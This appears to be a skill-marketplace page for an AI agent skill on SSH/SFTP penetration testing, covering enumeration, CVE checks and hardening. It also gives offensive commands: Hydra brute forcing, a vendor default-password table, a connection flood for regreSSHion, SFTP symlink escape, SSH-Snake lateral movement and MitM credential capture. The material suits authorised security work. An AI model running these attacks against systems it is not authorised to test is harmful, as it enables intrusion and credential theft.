# Ssh Pentesting > SSH/SFTP penetration testing and security assessment. Use this skill whenever the user needs to enumerate SSH services, test for vulnerabilities, check for weak configurations, attempt credential attacks, or assess SSH server security. Trigger on mentions of SSH, port 22, SFTP, remote access, SSH brute force, SSH enumeration, SSH vulnerabilities, or any SSH-related security testing tasks. - Skill: `abelrguezr/ssh-pentesting` (Agent Skill, multi-file: 6 files) - Install (CLI): `npx skillmds@latest add abelrguezr/ssh-pentesting` - Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/ssh-pentesting/raw - Safety review: pending - Works with: Claude Code, Claude.ai, OpenAI Codex - Category: Security - Author: abelrguezr (https://skillmd.com/u/abelrguezr) - Updated: 2026-09-10 - Page: https://skillmd.com/skills/abelrguezr/ssh-pentesting --- # SSH/SFTP Penetration Testing A comprehensive skill for SSH security assessment, enumeration, and vulnerability testing. ## Quick Start ```bash # Basic enumeration ./scripts/ssh-enumerate.sh # Full audit with ssh-audit ./scripts/ssh-audit-wrapper.sh # Check for default credentials ./scripts/check-default-creds.sh # Scan for known vulnerabilities ./scripts/ssh-vuln-check.sh ``` ## Enumeration ### Banner Grabbing Get initial information about the SSH server: ```bash nc -vn 22 ``` ### Automated Enumeration Use the bundled enumeration script: ```bash ./scripts/ssh-enumerate.sh ``` This runs: - Banner grabbing - Nmap default scripts - Version detection - Supported algorithms enumeration - Host key retrieval - Authentication methods check ### SSH Audit For comprehensive configuration auditing: ```bash ./scripts/ssh-audit-wrapper.sh ``` This uses [ssh-audit](https://github.com/jtesta/ssh-audit) to: - Analyze SSH client/server configuration - Detect weak/legacy algorithms - Identify CVEs and security issues - Provide hardening recommendations ### Nmap Scripts ```bash # Default scripts nmap -p22 -sC # Version detection nmap -p22 -sV # Supported algorithms nmap -p22 --script ssh2-enum-algos # Host keys (check for weak keys) nmap -p22 --script ssh-hostkey --script-args ssh_hostkey=full # Authentication methods nmap -p22 --script ssh-auth-methods --script-args="ssh.user=root" ``` ### Public Key Retrieval ```bash ssh-keyscan -t rsa -p ``` ## Credential Testing ### Default Credentials Check against known default credentials: ```bash ./scripts/check-default-creds.sh ``` Common default credentials by vendor: | Vendor | Usernames | Passwords | |--------|-----------|-----------| | APC | apc, device | apc | | Cisco | admin, cisco, root | cisco, Cisco, admin, password | | Citrix | root, nsroot, admin | C1trix321, nsroot, rootadmin | | Dell | root, admin, user1 | calvin, 123456, password | | HP/3Com | admin, root, vcx | admin, password, hpinvent | | Huawei | admin, root | 123456, admin, Admin123 | | Juniper | netscreen | netscreen | | NetApp | admin | netapp123 | | Oracle | root, oracle, ilom-admin | changeme, ilom-admin, oracle | | VMware | vi-admin, root, vmware | vmware, vmw@re, default | ### Brute Force **Hydra** (requires username): ```bash hydra -v -V -l -P -t 1 ssh ``` **Common password lists:** - https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt - https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt ### Username Enumeration Some OpenSSH versions are vulnerable to timing attacks: ```bash # Metasploit module msf> use scanner/ssh/ssh_enumusers ``` ### Private Key Testing Test known private keys: ```bash # Nmap script nmap --script ssh-publickey-acceptance # Metasploit msf> use scanner/ssh/ssh_identify_pubkeys # Python tool (supports legacy algorithms) ssh-keybrute.py ``` Known bad keys: https://github.com/rapid7/ssh-badkeys/tree/master/authorized ### Weak SSH Keys (Debian PRNG) Check for Debian predictable PRNG weak keys: ```bash # Download and test against known weak keys git clone https://github.com/g0tmi1k/debian-ssh cd debian-ssh ./test.sh ``` ## Vulnerability Assessment ### Known Vulnerabilities Check for recent critical vulnerabilities: ```bash ./scripts/ssh-vuln-check.sh ``` This checks for: - **CVE-2024-6387** (regreSSHion) - OpenSSH 8.5p1–9.7p1 signal-handler race - **CVE-2024-3094** (xz backdoor) - XZ Utils 5.6.0/5.6.1 supply-chain attack - **CVE-2025-32433** - Erlang/OTP authentication bypass - **CVE-2018-10933** - libssh unauthenticated success ### CVE-2024-6387 (regreSSHion) Affects OpenSSH 8.5p1–9.7p1. Unauthenticated attackers can corrupt glibc heap. **Detection:** ```bash ssh -V ssh -G | grep ^userauths ``` **Lab testing:** ```bash parallel -j200 "timeout 3 ssh -o PreferredAuthentications=none -o ConnectTimeout=2 attacker@${TARGET}" ::: {1..4000} ``` ### CVE-2024-3094 (xz Backdoor) XZ Utils 5.6.0/5.6.1 contain trojanized code accepting attacker-signed packets. **Detection:** ```bash xz --version rpm -qi xz # or dpkg -l xz-utils ldd /usr/sbin/sshd | grep -E "systemd|lzma" ``` ### Erlang/OTP Authentication Bypass (CVE-2025-32433) Affects OTP < 27.3.3, 26.2.5.11, 25.3.2.20. Allows unauthenticated RCE. **Detection:** Look for message codes ≥ 80 before authentication. **Mitigation:** Upgrade to 27.3.3 / 26.2.5.11 / 25.3.2.20 or newer. ## Configuration Assessment ### Root Login Check if root login is permitted (security risk): ```bash # In sshd_config, should be: PermitRootLogin no ``` ### Authentication Methods Check for weak authentication methods: ```bash ssh -v # Look for: Authentications that can continue: publickey,password,keyboard-interactive ``` Force password authentication if needed: ```bash ssh -v -o PreferredAuthentications=password ``` ### SFTP Security **Command Execution Bypass:** Users with SFTP-only access may still execute commands: ```bash ssh user@target /bin/bash ``` **Secure SFTP Configuration:** ```ssh Match User sftpuser ChrootDirectory %h ForceCommand internal-sftp AllowTcpForwarding no PermitTunnel no X11Forwarding no PermitTTY no ``` **SFTP Symlink Attack:** If you have write access in SFTP, create symlinks to access other files: ```bash sftp> symlink / froot ``` Then access via web or other services. **SFTP Tunneling:** ```bash sudo ssh -L :: -N -f @ ``` ## Lateral Movement ### SSH-Snake Automated lateral movement using discovered SSH keys: ```bash git clone https://github.com/MegaManSec/SSH-Snake cd SSH-Snake python3 ssh_snake.py ``` SSH-Snake: 1. Finds SSH private keys on current system 2. Identifies hosts where keys may work 3. Attempts SSH connections 4. Recursively repeats on new systems ### Kerberos/GSSAPI Authentication If target supports GSSAPI (e.g., Windows OpenSSH on domain): ```bash # Sync time with KDC sudo ntpdate # Generate krb5.conf netexec smb -u -p '' -k --generate-krb5-file krb5.conf sudo cp krb5.conf /etc/krb5.conf # Get TGT kinit klist # SSH with GSSAPI ssh -o GSSAPIAuthentication=yes @ ``` Or use crackmapexec: ```bash crackmapexec ssh --kerberos ``` ## SSH MitM Capture credentials via man-in-the-middle: ```bash git clone https://github.com/jtesta/ssh-mitm cd ssh-mitm python3 ssh-mitm.py ``` Combine with ARP/DNS spoofing for traffic redirection. ## Fuzzing - https://packetstormsecurity.com/files/download/71252/sshfuzz.txt - Metasploit: `auxiliary/fuzzers/ssh/ssh_version_2` ## Configuration Files to Check ```bash /etc/ssh/ssh_config /etc/ssh/sshd_config ~/.ssh/authorized_keys ~/.ssh/ssh_known_hosts ~/.ssh/known_hosts ~/.ssh/id_rsa ``` ## References - [SSH Audit Hardening Guides](https://www.ssh-audit.com/hardening_guides.html) - [Turgensec SSH Hacking Guide](https://community.turgensec.com/ssh-hacking-guide) - [Qualys - regreSSHion](https://blog.qualys.com/vulnerabilities-threat-research/2024/07/01/regresshion-remote-unauthenticated-code-execution-vulnerability-in-openssh-server) - [Snyk - XZ Backdoor](https://snyk.io/blog/the-xz-backdoor-cve-2024-3094/) - [Unit 42 - Erlang/OTP CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/)